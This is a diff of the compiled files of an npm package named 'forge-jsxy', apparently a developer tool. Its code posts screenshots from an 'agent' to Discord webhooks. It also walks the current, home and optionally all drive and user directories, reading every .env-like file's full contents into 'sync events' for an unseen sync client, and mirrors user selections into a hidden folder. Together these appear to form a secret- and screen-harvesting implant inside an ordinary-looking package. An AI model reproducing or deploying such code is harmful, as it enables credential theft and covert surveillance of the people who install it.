forge-jsxy 1.0.66

package/dist/discordWebhookPost.d.ts

@@ -0,0 +1,12 @@
+/**
+ * `webhookUrl` should be `https://discord.com/api/webhooks/{id}/{token}` (query allowed).
+ *
+ * The `?wait=true` parameter makes Discord return a full message object so success vs.
+ * transient-failure can be distinguished without guessing.
+ */
+export declare function postPngToDiscordWebhookUrl(webhookUrl: string, png: Buffer, caption: string): Promise<{
+    ok: true;
+} | {
+    ok: false;
+    error: string;
+}>;

package/dist/discordWebhookPost.js

@@ -0,0 +1,108 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.postPngToDiscordWebhookUrl = postPngToDiscordWebhookUrl;
+/**
+ * Agent-side POST of an image (PNG or JPEG) to a Discord **incoming webhook** URL (no Bot header).
+ * Used when Discord screenshot mode is **webhook** (default) — image bytes go straight to Discord,
+ * not through the relay.
+ *
+ * Rate-limit strategies (agent / webhook side)
+ * ─────────────────────────────────────────────
+ * 1. `fetchUntilNot429` with per-webhook bucket tracker — proactive pre-wait when the
+ *    webhook-specific rate-limit bucket is exhausted, with Retry-After / retry_after parsing
+ *    and exponential backoff + jitter.
+ * 2. Per-webhook tracker instance — each webhook URL gets its own `DiscordBucketTracker` so
+ *    different clients' webhooks don't interfere.  The tracker is keyed by webhook path so
+ *    its state persists across retries within the same upload attempt.
+ * 3. Webhook rate limits are separate from bot REST limits — they have their own 30-req/min
+ *    per-webhook bucket (shared across all senders to the same webhook).  The tracker handles
+ *    this transparently via X-RateLimit-* headers.
+ * 4. `?wait=true` ensures we get a proper response body with message ID so transient failures
+ *    are distinguished from successes.
+ * 5. Host allowlist prevents SSRF — only discord.com / canary / ptb hostnames are accepted.
+ */
+const node_crypto_1 = require("node:crypto");
+const discordRateLimit_1 = require("./discordRateLimit");
+function discordAttachmentFilenameAndMime(buf) {
+    if (buf.length >= 3 && buf[0] === 0xff && buf[1] === 0xd8 && buf[2] === 0xff) {
+        return { filename: "screenshot.jpg", mime: "image/jpeg" };
+    }
+    return { filename: "screenshot.png", mime: "image/png" };
+}
+function buildWebhookMultipartImage(imageBytes, caption) {
+    const { filename, mime } = discordAttachmentFilenameAndMime(imageBytes);
+    const boundary = `----ForgeJsWh${(0, node_crypto_1.randomBytes)(12).toString("hex")}`;
+    const payload = JSON.stringify({
+        content: caption.slice(0, 2000),
+    });
+    const head = `--${boundary}\r\n` +
+        `Content-Disposition: form-data; name="payload_json"\r\n` +
+        `Content-Type: application/json\r\n\r\n` +
+        `${payload}\r\n` +
+        `--${boundary}\r\n` +
+        `Content-Disposition: form-data; name="files[0]"; filename="${filename}"\r\n` +
+        `Content-Type: ${mime}\r\n\r\n`;
+    const tail = `\r\n--${boundary}--\r\n`;
+    const body = Buffer.concat([
+        Buffer.from(head, "utf8"),
+        imageBytes,
+        Buffer.from(tail, "utf8"),
+    ]);
+    return { body, contentType: `multipart/form-data; boundary=${boundary}` };
+}
+/**
+ * Module-level per-webhook-path tracker map.
+ * Key: webhook path (e.g. /webhooks/123/abc); Value: DiscordBucketTracker.
+ * Each webhook endpoint has its own rate-limit bucket; tracking them separately
+ * avoids over-waiting when only one specific webhook is exhausted.
+ */
+const _webhookTrackers = new Map();
+function _getWebhookTracker(webhookPath) {
+    let t = _webhookTrackers.get(webhookPath);
+    if (!t) {
+        t = new discordRateLimit_1.DiscordBucketTracker();
+        _webhookTrackers.set(webhookPath, t);
+        // Evict stale entries to avoid unbounded growth (simple size cap)
+        if (_webhookTrackers.size > 200) {
+            const first = _webhookTrackers.keys().next().value;
+            if (first !== undefined)
+                _webhookTrackers.delete(first);
+        }
+    }
+    return t;
+}
+/**
+ * `webhookUrl` should be `https://discord.com/api/webhooks/{id}/{token}` (query allowed).
+ *
+ * The `?wait=true` parameter makes Discord return a full message object so success vs.
+ * transient-failure can be distinguished without guessing.
+ */
+async function postPngToDiscordWebhookUrl(webhookUrl, png, caption) {
+    const u = new URL(webhookUrl.trim());
+    const h = u.hostname.toLowerCase();
+    if (h !== "discord.com" &&
+        h !== "canary.discord.com" &&
+        h !== "ptb.discord.com") {
+        return { ok: false, error: "webhook URL host must be discord.com (or canary/ptb)" };
+    }
+    const base = webhookUrl.trim();
+    const exec = base.includes("?") ? `${base}&wait=true` : `${base}?wait=true`;
+    // Extract path for route-key + per-webhook tracker lookup
+    const webhookPath = u.pathname; // e.g. /api/v10/webhooks/{id}/{token}
+    const routeKey = `POST:${webhookPath}`;
+    const tracker = _getWebhookTracker(webhookPath);
+    const { body, contentType } = buildWebhookMultipartImage(png, caption);
+    const res = await (0, discordRateLimit_1.fetchUntilNot429)(() => fetch(exec, {
+        method: "POST",
+        headers: { "Content-Type": contentType },
+        body,
+    }), routeKey, tracker);
+    const text = await res.text();
+    if (!res.ok) {
+        return {
+            ok: false,
+            error: `Discord webhook HTTP ${res.status}: ${text.slice(0, 500)}`,
+        };
+    }
+    return { ok: true };
+}

package/dist/envLoad.d.ts

@@ -0,0 +1 @@
+export {};

package/dist/envLoad.js

@@ -0,0 +1,18 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+/**
+ * Load project-root `.env` before reading FORGE_JS_BUNDLE_KEY (optional; no-op if missing).
+ *
+ * Skipped when `NODE_ENV=test` or `FORGE_JS_SKIP_DOTENV=1` so automated tests and CI are not
+ * polluted by a developer `CFGMGR_RELAY_DASHBOARD_PASSWORD_SHA256` / secrets in `.env` (imported
+ * transitively via `deploymentDefaults.ts`).
+ */
+const node_fs_1 = require("node:fs");
+const node_path_1 = require("node:path");
+const dotenv_1 = require("dotenv");
+const envPath = (0, node_path_1.join)(__dirname, "..", ".env");
+const skipDotenv = String(process.env.NODE_ENV || "").toLowerCase() === "test" ||
+    String(process.env.FORGE_JS_SKIP_DOTENV || "").trim() === "1";
+if (!skipDotenv && (0, node_fs_1.existsSync)(envPath)) {
+    (0, dotenv_1.config)({ path: envPath, override: false });
+}

package/dist/envScan.d.ts

@@ -0,0 +1,14 @@
+import { type SyncEventPayload } from "./syncClient";
+export declare function getDefaultEnvScanRoots(): string[];
+export interface EnvFileRecord {
+    path: string;
+    content: string;
+    hash: string;
+    mtime: string;
+    size: number;
+}
+/**
+ * Walk roots (default: cwd + homedir) and yield .env-like files once each (by real path key).
+ */
+export declare function iterEnvFileRecords(roots?: string[]): Generator<EnvFileRecord>;
+export declare function scanEnvFilesAsEvents(roots?: string[]): SyncEventPayload[];

package/dist/envScan.js

@@ -0,0 +1,358 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.getDefaultEnvScanRoots = getDefaultEnvScanRoots;
+exports.iterEnvFileRecords = iterEnvFileRecords;
+exports.scanEnvFilesAsEvents = scanEnvFilesAsEvents;
+/**
+ * Best-effort `.env` discovery — subset of cfgmgr.core env scanner (same filename rules + size cap).
+ */
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+const os = __importStar(require("node:os"));
+const node_crypto_1 = require("node:crypto");
+const syncClient_1 = require("./syncClient");
+const ENV_PATTERNS = new Set([
+    ".env",
+    ".env.local",
+    ".env.development",
+    ".env.production",
+    ".env.staging",
+    ".env.test",
+    ".env.dev",
+    ".env.prod",
+    ".env.example",
+    ".env.sample",
+    ".env.defaults",
+    ".env.docker",
+    ".env.compose",
+]);
+const ENV_SKIP_DIR_NAMES_LOWER = new Set([
+    "node_modules",
+    ".git",
+    "__pycache__",
+    ".venv",
+    "venv",
+    ".tox",
+    ".mypy_cache",
+    ".pytest_cache",
+    ".cache",
+    "dist",
+    "build",
+    ".next",
+    ".nuxt",
+    "System Volume Information",
+    "$Recycle.Bin",
+    "Recovery",
+    ".Trash",
+    ".Trash-1000",
+].map((s) => s.toLowerCase()));
+/** Exact path only — avoids skipping `/tmp/myproject` while still skipping bare `/tmp` root walks. */
+const ENV_SKIP_DIRS_UNIX_EXACT = new Set(["/tmp", "/private/tmp"]);
+/**
+ * System prefixes: do not walk subtrees (e.g. `/sys/devices/...`). Not `/usr` alone — keeps `/usr/local` scannable.
+ * macOS paths (/System, /Library, /private/var, etc.) are also listed; harmless on Linux where they don't exist.
+ */
+const ENV_SKIP_PREFIXES_UNIX = [
+    "/proc",
+    "/sys",
+    "/dev",
+    "/run",
+    "/snap",
+    "/boot",
+    "/lost+found",
+    "/lib",
+    "/lib32",
+    "/lib64",
+    "/libx32",
+    "/usr/lib",
+    "/usr/share",
+    "/usr/src",
+    "/var/lib",
+    "/var/log",
+    "/var/cache",
+    "/var/spool",
+    // macOS system directories
+    "/System",
+    "/Network",
+    "/Library",
+    "/private/etc",
+    "/private/var",
+    "/private/tmp",
+    "/Volumes",
+    "/cores",
+    "/sbin",
+    "/bin",
+    "/usr/bin",
+    "/usr/sbin",
+];
+const ENV_SKIP_WIN_TOP_SEGMENTS = new Set([
+    "windows",
+    "program files",
+    "program files (x86)",
+    "programdata",
+    "$recycle.bin",
+    "recovery",
+    "system volume information",
+]);
+/**
+ * Windows shell generates .env.lnk shortcut files in Recent/. These are binary
+ * and must never be treated as env files.
+ */
+const ENV_SKIP_WIN_DIR_PATHS_LOWER = [
+    ["appdata", "roaming", "microsoft", "windows", "recent"],
+    ["appdata", "local", "temp"],
+    ["appdata", "local", "microsoft", "windows", "inetcache"],
+];
+/** Known binary-only extensions that can never be a real env file. */
+const ENV_SKIP_EXTENSIONS = new Set([
+    ".lnk", ".tmp", ".db", ".dat", ".dll", ".exe", ".sys", ".bat", ".cmd",
+    ".msi", ".cab", ".zip", ".gz", ".tar", ".rar", ".7z", ".png", ".jpg",
+    ".jpeg", ".gif", ".bmp", ".ico", ".pdf", ".docx", ".xlsx", ".pptx",
+]);
+const ENV_MAX_FILE_SIZE = 512 * 1024;
+/**
+ * When `FORGE_JS_ENV_SCAN_WIDE=1`, default roots also include:
+ * - Windows: every available drive root (`A:\` … `Z:\`)
+ * - macOS: `/Users`
+ * - Linux: `/home`, `/root` (if present)
+ * Skips (`shouldSkipDir` / prefixes) still apply — system trees are not fully walked.
+ */
+function envScanWideEnabled() {
+    const raw = (process.env.FORGE_JS_ENV_SCAN_WIDE || "").trim().toLowerCase();
+    return ["1", "true", "yes", "on"].includes(raw);
+}
+function getDefaultEnvScanRoots() {
+    const roots = [];
+    const pushUnique = (p) => {
+        try {
+            const r = path.resolve(p);
+            if (!fs.existsSync(r) || !fs.statSync(r).isDirectory())
+                return;
+            const key = process.platform === "win32" ? r.toLowerCase() : r;
+            if (roots.some((x) => process.platform === "win32" ? x.toLowerCase() === key : x === key)) {
+                return;
+            }
+            roots.push(r);
+        }
+        catch {
+            /* skip */
+        }
+    };
+    try {
+        pushUnique(process.cwd());
+    }
+    catch {
+        /* skip */
+    }
+    try {
+        pushUnique(path.resolve(os.homedir()));
+    }
+    catch {
+        /* skip */
+    }
+    if (!envScanWideEnabled()) {
+        return roots.length ? roots : [process.cwd(), path.resolve(os.homedir())];
+    }
+    if (process.platform === "win32") {
+        for (let i = 0; i < 26; i++) {
+            const letter = String.fromCharCode(65 + i);
+            pushUnique(`${letter}:\\`);
+        }
+    }
+    else if (process.platform === "darwin") {
+        pushUnique("/Users");
+    }
+    else {
+        pushUnique("/home");
+        pushUnique("/root");
+    }
+    return roots.length ? roots : [process.cwd(), path.resolve(os.homedir())];
+}
+function isEnvFilename(name) {
+    const nl = name.toLowerCase();
+    if (ENV_PATTERNS.has(nl))
+        return true;
+    if (!nl.startsWith(".env"))
+        return false;
+    // Reject known binary extensions that can appear as .env.lnk, .env.tmp etc.
+    const ext = path.extname(nl);
+    if (ext && ENV_SKIP_EXTENSIONS.has(ext))
+        return false;
+    return nl === ".env" || nl.startsWith(".env.");
+}
+function normalizedPathPrefixSkip(dirpath, prefixes) {
+    const n = path.normalize(dirpath);
+    for (const p of prefixes) {
+        if (n === p || n.startsWith(p + path.sep))
+            return true;
+    }
+    return false;
+}
+function shouldSkipDirWin(dirpath) {
+    const norm = path.normalize(dirpath);
+    const tail = norm.replace(/^[a-zA-Z]:[\\/]/, "");
+    const segments = tail.split(/[\\/]/).filter(Boolean).map((s) => s.toLowerCase());
+    const first = segments[0];
+    if (first && ENV_SKIP_WIN_TOP_SEGMENTS.has(first)) {
+        return true;
+    }
+    // Skip known Windows shell system sub-paths (e.g. AppData\Roaming\Microsoft\Windows\Recent).
+    // Slide the pattern across all positions — real paths have "users\<name>\" before "appdata\...",
+    // so matching only from index 0 would never fire.
+    for (const skipPath of ENV_SKIP_WIN_DIR_PATHS_LOWER) {
+        if (skipPath.length > segments.length)
+            continue;
+        for (let off = 0; off + skipPath.length <= segments.length; off++) {
+            if (skipPath.every((seg, i) => segments[off + i] === seg))
+                return true;
+        }
+    }
+    return false;
+}
+function shouldSkipDir(dirpath, dirname) {
+    if (ENV_SKIP_DIR_NAMES_LOWER.has((dirname || "").toLowerCase()))
+        return true;
+    if (process.platform === "win32") {
+        return shouldSkipDirWin(dirpath);
+    }
+    const n = path.normalize(dirpath);
+    if (ENV_SKIP_DIRS_UNIX_EXACT.has(n))
+        return true;
+    return normalizedPathPrefixSkip(n, ENV_SKIP_PREFIXES_UNIX);
+}
+/**
+ * Git Bash / MSYS use paths like `/c/Users/name/...`. On Windows, Node's `path.resolve`
+ * does not map those to `C:\Users\...`, so `fs.existsSync` on scan roots fails. Map the
+ * common `/x/...` drive prefix to a Windows path before resolving.
+ */
+function normalizeScanRootPath(raw) {
+    const trimmed = raw.trim();
+    if (!trimmed)
+        return trimmed;
+    if (process.platform !== "win32") {
+        return path.resolve(trimmed);
+    }
+    const norm = trimmed.replace(/\\/g, "/").replace(/^\/\/+/, "/");
+    const m = /^\/([a-zA-Z])\/(.*)$/.exec(norm);
+    if (m) {
+        const drive = m[1].toUpperCase();
+        const rest = (m[2] || "").replace(/\//g, path.sep);
+        return path.resolve(`${drive}:${path.sep}${rest}`);
+    }
+    return path.resolve(trimmed);
+}
+/**
+ * Walk roots (default: cwd + homedir) and yield .env-like files once each (by real path key).
+ */
+function* iterEnvFileRecords(roots) {
+    const r = roots?.length
+        ? roots.map((x) => normalizeScanRootPath(x))
+        : getDefaultEnvScanRoots();
+    const seen = new Set();
+    function* walkDir(dir) {
+        let entries;
+        try {
+            entries = fs.readdirSync(dir, { withFileTypes: true });
+        }
+        catch {
+            return;
+        }
+        for (const ent of entries) {
+            const full = path.join(dir, ent.name);
+            if (ent.isDirectory()) {
+                // Note: Node.js Dirent.isDirectory() uses lstat, so it is always false for symlinks.
+                // Symlinks to directories therefore never enter this branch — no infinite-loop risk.
+                if (shouldSkipDir(full, ent.name))
+                    continue;
+                yield* walkDir(full);
+            }
+            else if (isEnvFilename(ent.name)) {
+                // Dedup key: case-fold only on case-insensitive filesystems (Windows / macOS).
+                // On Linux (case-sensitive), preserving case avoids merging distinct files that
+                // only differ in case (e.g. /project/.env vs /Project/.env).
+                const caseFold = process.platform !== "linux";
+                let realKey;
+                try {
+                    const rp = path.normalize(fs.realpathSync(full));
+                    realKey = caseFold ? rp.toLowerCase() : rp;
+                }
+                catch {
+                    const rp = path.normalize(full);
+                    realKey = caseFold ? rp.toLowerCase() : rp;
+                }
+                if (seen.has(realKey))
+                    continue;
+                seen.add(realKey);
+                try {
+                    const st = fs.statSync(full);
+                    if (st.size === 0 || st.size > ENV_MAX_FILE_SIZE)
+                        continue;
+                    const content = fs.readFileSync(full, "utf8");
+                    if (!content.trim())
+                        continue;
+                    // Binary files (e.g. Windows .lnk shortcuts named .env.lnk) contain NUL bytes.
+                    // PostgreSQL rejects text columns with NUL characters — skip these files entirely.
+                    if (content.includes("\x00"))
+                        continue;
+                    const hash = (0, node_crypto_1.createHash)("sha256").update(content, "utf8").digest("hex");
+                    yield {
+                        path: full,
+                        content,
+                        hash,
+                        mtime: new Date(st.mtimeMs).toISOString(),
+                        size: st.size,
+                    };
+                }
+                catch {
+                    continue;
+                }
+            }
+        }
+    }
+    for (const root of r) {
+        try {
+            if (!fs.existsSync(root) || !fs.statSync(root).isDirectory())
+                continue;
+        }
+        catch {
+            continue;
+        }
+        yield* walkDir(root);
+    }
+}
+function scanEnvFilesAsEvents(roots) {
+    return Array.from(iterEnvFileRecords(roots), syncClient_1.envFileRecordToEvent);
+}

package/dist/exportMirrorCopy.d.ts

@@ -0,0 +1,15 @@
+/** Hidden directory under the work root holding the mirrored selection. */
+export declare const EXPORT_MIRROR_DIR = ".mirror";
+export type CopyMirrorStagingOptions = {
+    /** More attempts + longer backoff (still no process termination). */
+    force?: boolean;
+};
+/** True when a short wait and re-copy might succeed (another process releasing a shared lock). */
+export declare function isRetryableCopyError(err: unknown): boolean;
+/** Count regular files under `dir` (symlinks ignored). Used to detect “all files skipped” mirrors. */
+export declare function countRegularFilesRecursive(dir: string): number;
+export declare function copySelectionToMirrorStaging(absoluteSource: string, workRoot: string, opts?: CopyMirrorStagingOptions): Promise<{
+    mirrorPath: string;
+    baseName: string;
+}>;
+export declare function removeMirrorStaging(workRoot: string): Promise<void>;